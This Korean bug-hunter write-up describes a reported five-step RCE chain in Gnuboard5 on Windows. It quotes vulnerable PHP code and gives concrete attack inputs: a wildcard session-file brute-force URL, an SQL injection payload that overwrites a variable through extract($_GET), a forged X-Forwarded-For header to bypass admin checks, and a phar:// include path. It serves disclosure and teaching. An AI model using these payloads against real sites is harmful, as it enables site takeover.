Gnuboard5 RCE with 5 bugs

Written by @adm1nkyj

2018년 10월 15일에 제보한 취약점이며 그누보드 취약점중에 exploit후 제일 기뻣던 취약점이라 시간내서 끄적여봅니다.

이 취약점은 windows 환경에서만 발생됩니다.

exploit에 사용되는 취약점은 아래와 같습니다.

  1. admin session id 유출
  2. SQL Injection
  3. admin 인증 우회
  4. LFI 필터링 미흡
  5. LFI

시작해보도록 하겠습니다.

1. admin session id 유출 (windows only)

file: bbs/view_image.php

$filename = $_GET['fn'];
$bo_table = $_GET['bo_table'];

if(!strpos($filename, 'data/editor')) {
    $editor_file = '';
    $filepath = G5_DATA_PATH.'/file/'.$bo_table.'/'.$filename;
} else { $filepath = ... }

if(is_file($filepath)) {
    $size = @getimagesize($filepath);
    if(empty($size))
        alert_close('이미지 파일이 아닙니다.');
    ...
} else {
    alert_close('파일이 존재하지 않습니다.');
}

is_file 함수를 이용해 $filepath의 파일 유무를 체크를 한 뒤 이미지 파일인지 체크를 하는 코드입니다. 여기가 왜 취약하지라는 생각이 들 수도 있지만, 윈도우에 php라면 취약하게 됩니다. ../sess_a<와 같이, 윈도우의 php에서는 file과 관련된 함수에 와일드카드를 지원합니다.

브루트포싱 횟수는 36(a..z) x 26(글자) = 936이며, 완성된 exploit은 다음과 같습니다.

/bbs/view_image.php?bo_table=/&fn=../session/sess_{brute_here}<

2. SQL Injection (admin? only)

admin의 session id를 탈취하였지만 그누보드에서는 그냥 admin 세션만 가지고는 admin 페이지에 접근을 할 수 없습니다.

그 인증을 우회해주기 위해서는 admin의 IP와 User-Agent가 필요한데 이것을 가져오기 위해 SQL Injection 취약점이 필요합니다.

file: g4_import_run.php

<?php
include_once('./_common.php'); // <--
require('./'.$g4_config_file);

if($is_admin != 'super')
    alert('최고관리자로 로그인 후 실행해 주십시오.', G5_URL);

...
$sql = " select * from {$g4['login_table']} ";
$result = sql_query($sql);

놀랍게도 g4_import_run.php와 /adm/은 서로 보안 정책이 다릅니다.
전자는 admin session만 있어도 접근이 가능합니다. 후자는 안됩니다.

그누보드는 common.php에서 extract($_GET); 를 하며 $_GET으로 넘어온 모든 인자들이 php의 변수로 덮이게 됩니다. 그누보드는 extract 함수를 대체할만한 것을 개발하여도 지금보다 몇 배는 안전해질 거 같습니다.

따라서 $g4를 덮을 수 있으며, select * from {$g4['login_table']}에는 SQL Injection 취약점이 생깁니다. 하지만 공격하기에 앞서 주의해야 될 점이 있습니다.

$g4_config_file = trim($_POST['file_path']); ...

if(!is_file($g4_config_file))
    alert('입력하신 경로에 config.php 파일이 존재하지 않습니다.');

$g4_config_file 변수의 값이 무조건 파일로 존재해야 되며 무조건 /config.php라는 스트링이 끝에 붙는 문제입니다. 그래서 저는 그냥 그누보드 5의 config.php를 include 시키는 방법으로 exploit 했습니다.

그리고 공격 쿼리는 다음과 같습니다. (injection 결과는 제가 한 번에 볼 수가 없어서 login_table 에 결과를 담은 뒤 bbs/current_connect.php에서 확인하였습니다)

token=token&file_path=./&g4[login_table]=(select query_here`x`)x#

3. admin 인증 우회

admin.lib.php에서 체크를 한 번 더 하는데, User-Agent와 IP로 인증을 우회해주시면 됩니다.

file: adm/admin.lib.php

$admin_key = md5($member['mb_datetime'] . get_real_client_ip() . $_SERVER['HTTP_USER_AGENT']);

if (get_session('ss_mb_key') !== $admin_key) {
    session_destroy();
    ...
    alert_close('정상적으로 로그인하여 접근하시기 바랍니다.');
}

'띠용?! 아이피는 어떻게 바꾸지?!'라는 의문이 생길 수도 있습니다.
하지만 get_real_client_ip 함수는 아래와 같습니다.

file: lib/common.lib.php

function get_real_client_ip(){

    if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) <-- 유저 입력
        return $_SERVER['HTTP_X_FORWARDED_FOR'];

    return $_SERVER['REMOTE_ADDR'];
}

이렇게, admin 인증은 우회가 되었습니다.

4. LFI 필터링 미흡

file: adm/contentformupdate.php

if( $co_include_head && ! is_include_path_check($co_include_head) ){
   $co_include_head = '';
   $error_msg = '/data/file/ 또는 /data/editor/ 포함된 문자를 상단 파일 경로에 포함시킬수 없습니다.';
}

위 코드를 보시면 is_include_path_check 함수를 통해 php wrapper의 사용 여부 또는 LFI의 공격 여부를 체크합니다. 이때 개발자의 엄청 사소한 실수 하나 때문에 취약점이 발생하게 됩니다.

function is_include_path_check($path='', $is_input='')
{
   if( $path ){
       if ($is_input){
           if( stripos($path, 'php:') !== false || stripos($path, 'zlib:') !== false || stripos($path, 'bzip2:') !== false || stripos($path, 'zip:') !== false || stripos($path, 'data:') !== false || stripos($path, 'phar:') !== false ){
               return false;
           }
         ....

       }
   }
}

검사 조건을 보시면 함수의 두 번째 인자인 $is_input이 true 거나 값이 있어야지 첫 번째 인자인 $path 값을 검사하게 됩니다.

다시 is_include_path_check 함수를 어떻게 사용했는지 봅시다.

is_include_path_check($co_include_head)

false!

5. LFI

위의 단계에서 필터링을 우회했으니 이 부분은 간단합니다.
phar 파일을 업로드한 뒤 $co_include_head 변수에 아래와 같이 저장하시면 됩니다.

phar://./../data/file/free/{image_here}/adm1nkyj.php

그리고 아래의 URL에 접속하게 되면 LFI가 정상적으로 트리거가 됩니다.

/bbs/content.php?co_id={co_id_here}

exploit 성공 사진입니다.
poc


그누보드가 확실히 국내 버그 헌터들 덕분에 많이 튼튼해진 게 체감이 확 되었었습니다.
하지만 아직도 많은 버그가 있으니 다들 도전하셔서 더욱 튼튼한 그누보드를 만들어봅시다!

아, 원래는 full exploit을 넣으려고 했으나 그러면 재미가 없을 거 같아서 직접 짜보는 방향으로 바꿨습니다. 만약 exploit을 만드시다 막히는 게 있으시면 fb.com/adm1nkyj 또는 [email protected]로 연락 주시면 답변드리겠습니다.